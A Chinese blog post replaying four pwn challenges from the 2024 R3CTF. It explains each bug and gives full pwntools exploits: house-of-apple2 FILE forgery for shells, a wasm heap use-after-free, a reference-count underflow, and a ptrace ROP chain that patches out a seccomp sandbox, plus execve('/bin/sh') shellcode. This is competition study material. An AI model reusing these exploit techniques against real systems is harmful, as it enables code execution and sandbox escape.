2024 R3CTF patr1

xsh 发布于

​ 记得六月初打这比赛被暴虐，所以想着复现下，这次只发了四道，vmware 逃逸和 sysnology TC500 都已经做了一半了，本来是想把所有题目都复现完再发的，但是这周末有师傅找我一起看 paloalto 的洞，所以就没做了，白天要上班，晚上还有其它洞要复现，感觉最近时间内是没有时间继续完成了，等有时间了再做完 part2

Nullullullllu

这题是最简单的，在直接给 libc_base 的情况下，一次任意地址写 \x00 。

直接修改 IO_2_1_stdin 的 IO_buf_base 末尾为 \x00 ，那么 IO_buf_base 就会指向 IO_2_1_stdin 的 IO_write_base，接下来就是利用 getchar 函数触发写操作修改 IO_buf_base 为 IO_2_1_stdout_ ，再次利用 getchar 函数触发写操作写 apple2 进 stdout ，printf 函数执行时候会触发 appl2 get shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('ctf2024-entry.r3kapig.com', 30371)
#p = remote('127.0.0.1', 9999)
elf_patch = './chall'
#p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./libc.so.6')

sla(b'> ', b'1')
rl(b'0x')
libc_base = int(r(12), 16)# + 0x6d80

environ = libc_base + libc.sym['__environ']
system, binsh = get_sb()
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
stdin_IO_buf_base = stdin + 7*8
stdin_old_value = stdin + 0x83
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']

# step 2 : printf -> stdout -> house of apple2
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x202228

base_addr = stdout

fake_io = b'  sh;\x00\x00\x00' 
fake_io = fake_io.ljust(0x68, b'\x00')
fake_io += p64(system)
fake_io = fake_io.ljust(0x88, b'\x00')
fake_io += p64(base_addr + 0x5000) # _lock
fake_io += p64(0)*2
fake_io += p64(base_addr)
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(_IO_wfile_jumps - 0x20)
fake_io = fake_io.ljust(0xe0, b'\x00')
fake_io += p64(base_addr)

sla(b'> ', b'2')
sla(b'Mem: ', hex(stdin_IO_buf_base))

#debug('b *$rebase(0x12c3)')

sa(b'> ', p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

sleep(1)
sl(fake_io)

lg('libc_base', libc_base)

inter()
pause()

Feedback Portal

是一个 wasm 的堆题目，分析逆向了很久。

https://github.com/WebAssembly/wabt

先 clone 并且 make 上面的项目，同时利用下面的命令进行反编译

1
~/Desktop/pwn-tools/wabt/bin/wasm2wat ./chall -o wat.wasm

可以得到 wasm 的汇编形式的文本

1
~/Desktop/pwn-tools/wabt/bin/wasm2c ./chall -o wat.c

这样就得到了 wat.c 和 wat.h ，接着进行编译，方便用 ida 分析

1
gcc -c wat.c -g -o wat -I ~/path/to/wabt/wasm2c/

就得到一个 ida 可以反汇编的二进制文件

漏洞点是 delete 功能的 idx 可以越界，poc 可以触发 crash，但是程序的堆管理是另外一套，不是 ptmalloc，所以在没有定位程序加载后的内存地址的情况下，不好做

6b7e0db599637f7ccf93399edba6fb28

poc

1
2
3
4
create(0x20, b'a')
create(0x20, b'a')

delete(107)

143978de12caa7f17007d86c34fa0775

可以发现触发了一个 crash

因为是 delete 触发的 crash，一开始是想看看 rsi 是怎么来的，但是回溯发现 rsi 是来自于函数的调用参数，上一个函数比较难看，所以就直接 search 搜索

1
search -4 0xfffffffb

但是搜索结果比较多，于是换成 delete(109) 也能触发 crash

a8c0305cef868332cbb35f88482ea9fb

1
search -4 0x555475c4

但是没搜到结果，继续看汇编

6862db955ade739d725e27f8749c3023

可以看到 rsi 取值之前 - 4 了，所以要 + 4 搜索

3d9af66e33733ecfe85b3e3173430ee0

可以找到两个结果，其中一共结果会发现 - 0x8 处，是 0xffffffff ，结合 delete(107) 的 crash 的结果，可以判断这处内存是正确的，再接着看下 index 为 0 处的内存

82ac999c3b2f04130f738d260d3e8f9d

从这里可以看出， 0x14c0 处是存放的 heap_ptr ，而他们共同的基址是

6f6e14037d485760b3dc7febc029132d

其中从 ida 里面也是可以看出

但是这之后我们也明确了 w2c_memory 是指向基址的，到这里就对 wasm 的堆寻址有了一个大概的认识

但是通过 delete 越界漏洞并不能完成利用，这里其实还有另外一个漏洞，因为不能够准确打断点，为了方便调试，先把 alsr 关闭

1
sudo sysctl -w kernel.randomize_va_space=0

poc

1
2
3
4
create(0x20, b'a')
create(0x20, b'a')

edit(0, b'a'*0x40 + b'\n') # delete(0)

c010132e4245d6ac8d69bf450c5ac68a

当 edit 数据超过原本堆块大小时候，堆块会被 free，但是 heap_ptr 上的指针并没有更新，这个漏洞导致了 uaf

继续看 0x16a8 的指向内存，明显这处内存和 ptmalloc 的 main_arena 差不多，实现了双向链表

8b015b4be4429790e78e98b6add6f59c

由于 wasmtime 是利用的 dlmalloc，所以攻击方式会不太一样，这里如果我们去修改 fd 的话，那么就可以进行任意地址分配

poc

1
2
3
4
5
6
7
8
create(0x20, b'a')
create(0x20, b'a')

edit(0, b'a'*0x40 + b'\n') # delete(0)

edit(0, p32(0x300) + b'\n') # free chunk fd -> 0x300
create(0x20, b'a') # set fake_fd -> main_arena
create(0x20, b'a') # alloc base + 0x300

第一次 create 时候

第二次 create 时候，成功分配到了 0x308

93e9cca2167b6b9c0c4300166c11f012

那么就可以通过这个，去分配到 heap_ptr 上面，实现无限的任意地址写

poc

1
2
3
4
5
6
7
8
create(0x40, b'a')
create(0x40, b'a')

edit(0, b'a'*0x60 + b'\n')
edit(0, p32(0x14c0 - 0x30 - 8) + b'\n') 

create(0x40, b'\x00')
create(0x40, b'\x00')

接着就是劫持程序执行流了，如果去看上面处理得到 wat.wasm 文件

295370583bdcaa71025fe72b8801fc51

会发现其定义了函数表，并且将 59 61 63 64 86 13 这六个函数保存到表中，下面的则是加载所要用到的数据，可以看到 banner.txt

其中 banner.txt 和 r，应该是文件名和文件打开方式，如果在 gdb 里面看的话，

f819d355f0cd685effa76b630a5891e4

可以发现数据偏移是 0x400，而 banner.txt 和 r 的偏移是 0x424 和 0x42f ，那么如果转化为十进制 1060 和 1071 在 wat.wasm 文件中查找的话

4644a27884a9da607658da431b85ce9f

可以发现有处地方调用了这两个值

4eb381c38a7be5edbf52c986af26ffd2

往上找可以发现是 func 13 ，是表中第 6 个函数

但是是没法从文件和 ida 中看到函数表地址的，如果是保存在 w2c_memory 内存中，那么直接覆盖足够多的数据，令其 crash 即可

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
create(0x40, b'a')
create(0x40, b'a')

edit(0, b'a'*0x60 + b'\n')
edit(0, p32(0x14c0 - 0x30 - 8) + b'\n') 

create(0x40, b'\x00')
create(0x40, b'\x00')

edit(3, p64(0)*6 + p32(0x14c0) + p32(0x300) + b'\n')

edit(1, b'a'*0x800 + b'\n')
edit(1, b'a'*0x800 + b'\n')

会 crash 在这里

07299603958a35d6a98b8263039495ce

比较符合出题人给出的 exp 中的修改 0x14 和 0x20

568edd5d69f8369c2c37d93668e961c1

我试了下，如果 0x14 ！= 0 ，那么就会取出 0x20 的值，然后去找出函数表执行

916d26bfe25c8e0406dd377a1f976cdf

判断师傅小于函数表的大小 7 后，接着 call 一个可以返回对应函数指针和参数的堆地址

4264af0d7758b92819a0b9f4bc06161f

是执行 wasmtime 中对应从表取值函数

092950c0d35800e8c95ac76bc70d95bf

最后执行取出的函数，但是没根据这个分析出函数表的地址

1d91c8a2a8e5accf2a5e9b21b2718778

不过可以从 crash 处判断，会发现图红框处是存放编译后的 wasm 代码，可以以这个为基址，打断点到 crash 处

4670033147e2f19bfbf4b52c7b6820ed

发现正常情况下，偏移是 0x1228

506b91353437123d54690316fc9587af

于是只需要修改 banner.txt 为 flag.txt ，同时修改 0x1228 处的内存，令其跳转执行 orw 输出 flag 即可

效果

99992aadbb3c59c434c8d7a03839967e

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#elf_patch = './gostack'

env = {'WASMTIME_NEW_CLI': '0'}
command = ['./wasmtime', '--config=./cache.toml', '--dir=.', './chall']
p = process(command, env=env)

#elf = ELF(elf_patch)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(size, data):
	sla(b'> ', b'1')
	sla(b'> ', str(size))
	sa(b'feedback: ', data)
def edit(idx, data):
	sla(b'> ', b'2')
	sla(b'> ', str(idx))
	sa(b'feedback: ', data)
def delete(idx):
	sla(b'> ', b'3')
	sla(b'> ', str(idx))
def tui():
	sla(b'> ', b'4')		

# w2m_base + 0x14c0 -> heap_ptr
# pro_base + 0x4a05 -> func_ptr[x]();

script = '''
b 123
'''
	
#debug(script)

create(0x40, b'a')
create(0x40, b'a')

edit(0, b'a'*0x60 + b'\n')
edit(0, p32(0x14c0 - 0x30 - 8) + b'\n') 

create(0x40, b'\x00')
create(0x40, b'\x00')

edit(3, p64(0)*6 + p32(0x14c0) + p32(0x424) + p32(0x1228 + 0x14) + p32(0x1228 + 0x20) + b'\n')

edit(1, b'flag.txt\x00\x0a')

edit(3, p32(6) + b'\n')
edit(2, p32(1) + b'\n')

tui()

Pyploit

这道题挺折磨的，有两个 crash， 但是不能利用，能利用的是没法 crash 的洞，利用方式比较困难，在结构体里套结构体的情况下，需要把整个程序完全逆明白才能做出来。

6fe9576dcee2ed57f47e4b43abe3b82e

e0ea61090d4f061af28cc899c3724cb1

整个程序的功能仅仅是变量赋值和输出变量，其中重点的功能在于存储变量的函数 to_bianlian

dded4e64c0f496c3cc0459fb672aa9f9

变量的管理方式是一个链表的形式，在存储变量之前会检测变量是否已经被存储了，如果是，则进入 delete 函数，其中 delete 函数存在 uaf 漏洞

af9ab95218f408dee21efbe93247c13e

是在检测 – ptr -> num_value 之后，会进入释放代码，但是因为是先提前 – 了，所以导致了，如果在某一次 – ptr -> num_value == 0 时候，会进入释放规则，进行变量的释放，但是因为变量的存储方式（作者说是缓存管理），变量在链表中是不会清空的，只会清空结构体上存放了具体数据的堆块指针，如果通过 var = var 代码的话，那么 ptr -> num_value 为负数后，可以在变量被释放的清空下，无限触发 – ptr -> num_value ，导致 UAF

显然要利用的话，需要让 ptr -> num_value 被一个存储变量（ptr） 信息内存指针占用，这样才能够通过 ptr=ptr 代码的方式，去 – 任意内存的值。

到这里就比较麻烦了，可以看到

变量存储时候，是可以超过 100 的限制的

从 find_bl_name 时候的结构体偏移，是可以看出， base -> 0x20 处存储的是变量信息，base + 0x340 处存储的是变量名，那么就可以通过 + - 0x320 来互相对应

如果只是 100 个变量，那么占用的空间是 0x340 + 100*8 = 0x660

030cfa7deca290e7d0b61b356cd56d1d

从图中可以看到，下半部分也被变量填充了

3c1e2cb38b11628c37be644b99568eb1

在下面的内存中，可以看到，这部分内存是存放的变量信息，也就是 bl_list_top -> ptr[i] 指向的地方

其中，在申请新变量存储空间的函数中

d6203e0e69e755c3fe0335fcb9016242

如果满了，会调用 new_mmap 函数来申请新空间

3d253b99d41105425b7fef069d355acd

主要是从 free_mmap 取出，或者新 mmap 一段

当我们这么分配时候

1
2
3
4
5
6
7
8
9
10
11
12
debug('b *$rebase(0x14d9)')

for i in range(200):
	scm(f'dummy{i} = 3735928559'.encode())
	
for i in range(100):
	scm(f'dummy{i}=dummy{i}'.encode())

#debug('b *$rebase(0x19a6)\nb *$rebase(0x1d96)\n' + 'c\n'*200)	


pause()

会将存储 bl_list_top -> ptr[i] 那一段内存放入 free_mmap 中（这里我也没逆太懂分配规则，不是很想去深挖了）

这就导致再接着申请变量时候， new_bl_list_top -> ptr 会覆盖 old_bl_list_top -> ptr ，这样，就可以通过 old_var = old_var 无限触发 – old_bl_list_top -> ptr -> num_value ，修改 new_bl_list_top -> ptr 为目标内存地址，再通过 new_var = new_var，无限触发 – new_bl_list_top -> ptr -> num_value，实现内存修改。

这里是攻击 IO_2_1_stdin 的 _IO_buf_base 通过 exit 功能的 getchar 函数进行任意地址写，可参考 Nullullullllu

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')#, log_level='debug')
#p = remote('120.46.65.156', 32104)
elf_patch = './chall'
p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./libc.so.6')

def scm(data):
	sla(b'>>> ', data)

#debug('b *$rebase(0x14dd)')

for i in range(200):
	scm(f'dummy{i} = 3735928559'.encode())
	
for i in range(100):
	scm(f'dummy{i}=dummy{i}'.encode())

#debug('b *$rebase(0x19a6)\nb *$rebase(0x1d96)\n' + 'c\n'*200)	

#debug('b *$rebase(0x1886)')

for i in range(13):
	scm(f'target{i} = 1234'.encode())

scm(b'ptr=dummy2')

for i in range(2):
	scm(b'a=-')
	scm(b'print(a)')

ld_base = int(rl(b'\n')[:-1]) + 0xbf70
libc_base = ld_base - 0x3c5000

stdin = libc_base + libc.sym['_IO_2_1_stdin_']
ptr = ld_base - 0xdfa0

count = 0
value = ptr - (stdin + 0x38 - 0x20)
for i in range(value):
	sl(b'ptr=ptr')
	count += 1
	if(count % 0x1000 == 0):
		print(hex(count), hex(value))
		p.clean()

#debug('b *$rebase(0x1c9f)\nb *$rebase(0x1fde)\n')
#pause()
lg('stdin', stdin)

for i in range(0x7b):
	scm(b'target12=target12')

system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x202228

base_addr = libc_base + libc.sym['_IO_2_1_stdout_']

fake_io = b'  sh;\x00\x00\x00' 
fake_io = fake_io.ljust(0x68, b'\x00')
fake_io += p64(system)
fake_io = fake_io.ljust(0x88, b'\x00')
fake_io += p64(base_addr + 0x5000) # _lock
fake_io += p64(0)*2
fake_io += p64(base_addr)
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(_IO_wfile_jumps - 0x20)
fake_io = fake_io.ljust(0xe0, b'\x00')
fake_io += p64(base_addr)

scm(b'exit()')
pl = p64(stdin + 0x83 - 1) + p64(stdin + 0x83 - 0x40) + p64(stdin + 0x83)*4 + p64(base_addr) + p64(base_addr + len(fake_io))
sa(b'Do you want to exit? (y or n)', pl)

scm(b'exit()')
sla(b'Do you want to exit? (y or n)', fake_io)
		
lg('ptr', ptr)
lg('ld_base', ld_base)
lg('libc_base', libc_base)
#debug()

inter()
#pause()

TradingCenter

ptrace 绕沙箱，但是 ROP，折磨

本地复现时候，为了简单一些，我把 3 功能打开文件输出 pid 的功能修改成了直接输出 getpid 函数的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 File_Manager()
{
  signed __int64 v0; // rax
  signed __int64 v2; // [rsp-8h] [rbp-128h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = sys_getpid();
  v0 = sys_write(1u, (const char *)&v2, 4uLL);
  save_money();
  File_Manager_flag = 0;
  return v3 - __readfsqword(0x28u);
}

解题思路是通过 ptrace 修改 沙箱函数中的 push rbp; 为 ret，这样就不会执行沙箱函数了

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('47.238.36.100', 9999)
elf_patch = './pwn'
p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./lib/libc.so.6')
ld = ELF('./lib/ld-linux-x86-64.so.2')

#p = process(['seccomp-tools', 'dump', './pwn'])
#p = process(['strace', '-o', 'output.txt', './pwn'])

def game(value):
	sla(b'Exit', b'1')
	sla(b'heart(0-3):\xf0\x9f\x99\x82\n', str(value))

#sla(b'token: ', b'258:YuH72RYiBbRfazgdyG864ZTFGgZ7NlCoZUu1AfR+ltAOr0k0T0E8R76PjvfYV5FPNWZkPh/ZU5dkYLaiZL7ECg==')

rand_right_value = -1
for i in range(4):
	game(i)
	text = p.recv(0x10)
	if b'NONONO!!!' not in text:
		rand_right_value = i
		break
		
assert(rand_right_value != -1)

for i in range(0xff):
	game(rand_right_value)
	rl(b' $ ')
	money = int(rl(b',')[:-1])
	print(money)
	if money >= 134217728:
		break

#debug('b *$rebase(0x19f9)')

sa(b'Exit\n', b'3')
pid = u32(rl(b'Y')[:-1].ljust(4, b'\x00'))
lg('pid', pid)

sa(b'Exit', b'2')

sc='''
    mov rsi,fs:[rax]
    mov rsp,rsi
    
    mov dword [rsi + 0x6], eax
    
    inc dx
    push 20
    pop rax
    inc di
    syscall
    
    xor rdi, rdi
    push 19
    pop rax
    syscall
    
    ret
'''

#debug('b *$rebase(0x19be)')

sa(b'CAN I SAY:', asm(sc))

rl(b'\n')
rl(b'\n')
fs_base = u64(r(8))
r_s = u64(r(8))
r(0xb20 - 0x10)
libc_base = u64(r(8))
while(1):
    leak = p.recv(timeout=1)
    if(len(leak)==0):
    	break

lg('libc_base', libc_base)
lg('fs_base', fs_base)
lg('r_s', r_s)

rax = libc_base + 0x0000000000045eb0
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f2e7
rcx = libc_base + 0x000000000003d1ee
ret = libc_base + 0x0000000000029139
syscall = libc_base + 0x0000000000118f34
getpid = libc_base + libc.sym['getpid']
ptrace = libc_base + libc.sym['ptrace']
wait4 = libc_base + libc.sym['wait4']
system, binsh = get_sb()

# ptrace 101
# wait4 61
pid = 0x1bf2
user_regs_struct_buf = libc_base + libc.bss(0x500)

# ptarce(0x10, pid, 0, 0)
rop = p64(rdi) + p64(0x10) + p64(rsi) + p64(pid) + p64(rdx_r12) + p64(0)*2 + p64(rcx) + p64(0) + p64(ptrace)
# ptarce(0x18, pid, 0, 0)
rop += p64(rdi) + p64(0x18) + p64(rsi) + p64(pid) + p64(rdx_r12) + p64(0)*2 + p64(rcx) + p64(0) + p64(ptrace)
# wait4(pid, 0, 0, 0)
rop += p64(rdi) + p64(pid) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(rcx) + p64(0) + p64(rax) + p64(61) + p64(syscall)
# ptarce(0x18, pid, 0, buf)
rop += p64(rdi) + p64(0xc) + p64(rsi) + p64(pid) + p64(rdx_r12) + p64(0)*2 + p64(rcx) + p64(user_regs_struct_buf) + p64(ptrace)

# leak pro_base
rop += p64(rax) + p64(20) + p64(rdi) + p64(1) + p64(rsi) + p64(fs_base + 0x1f0) + p64(rdx_r12) + p64(1)*2 + p64(syscall)
# readv and rop
rop += p64(rax) + p64(19) + p64(rdi) + p64(0) + p64(rsi) + p64(fs_base + 0x200) + p64(rdx_r12) + p64(1)*2 + p64(syscall)

rop += p64(user_regs_struct_buf + 0x8) + p64(0x8) + p64(fs_base + 0x1f0) + p64(0x100)

s(rop)
pid_pro_base = u64(r(8)) - 0x3d10

# change sandbox = ret
sandbox = pid_pro_base + 0x14F6
data = 0xc3c3c3c3
# ptarce(0x5, pid, sandbox, data)
rop = p64(rdi) + p64(0x5) + p64(rsi) + p64(pid) + p64(rdx_r12) + p64(sandbox)*2 + p64(rcx) + p64(data) + p64(ptrace)
# ptarce(0x11, pid, 0, buf)
rop += p64(rdi) + p64(0x11) + p64(rsi) + p64(pid) + p64(rdx_r12) + p64(0)*2 + p64(rcx) + p64(0) + p64(ptrace)
# exit(0)
rop += p64(rax) + p64(0x3c) + p64(syscall)

s(rop)

lg('pid_pro_base', pid_pro_base)
pause()

sc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('47.238.36.100', 9999)
elf_patch = './pwn'
p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./lib/libc.so.6')
ld = ELF('./lib/ld-linux-x86-64.so.2')

#p = process(['seccomp-tools', 'dump', './pwn'])
#p = process(['strace', '-o', 'output.txt', './pwn'])

def game(value):
	sla(b'Exit', b'1')
	sla(b'heart(0-3):\xf0\x9f\x99\x82\n', str(value))

#sla(b'token: ', b'258:YuH72RYiBbRfazgdyG864ZTFGgZ7NlCoZUu1AfR+ltAOr0k0T0E8R76PjvfYV5FPNWZkPh/ZU5dkYLaiZL7ECg==')

rand_right_value = -1
for i in range(4):
	game(i)
	text = p.recv(0x10)
	if b'NONONO!!!' not in text:
		rand_right_value = i
		break
		
assert(rand_right_value != -1)

for i in range(0xff):
	game(rand_right_value)
	rl(b' $ ')
	money = int(rl(b',')[:-1])
	print(money)
	if money >= 134217728:
		break

#debug('b *$rebase(0x19be)')

sa(b'Exit\n', b'3')
pid = u32(rl(b'Y')[:-1].ljust(4, b'\x00'))
lg('pid', pid)

sa(b'Exit', b'2')

# execve('/bin/sh', 0, 0)
sc='''
	mov rsi,fs:[rax]
    mov rsp,rsi
    mov rax, 0x68732f6e69622f
    push rax;
    push rsp;
    pop rdi;
    xor esi, esi;
    xor edx, edx;
    
    push 0x3b;
    pop rax;
    syscall;
   	
'''
pause()
sa(b'CAN I SAY:', asm(sc))
inter()
xsh

xsh

菜狗罢了

5
4
5
NOTICE

欢迎来到我的二进制世界

CATEGORIES
TAGS
R3CTF mapna readme tinyproxy 内网穿透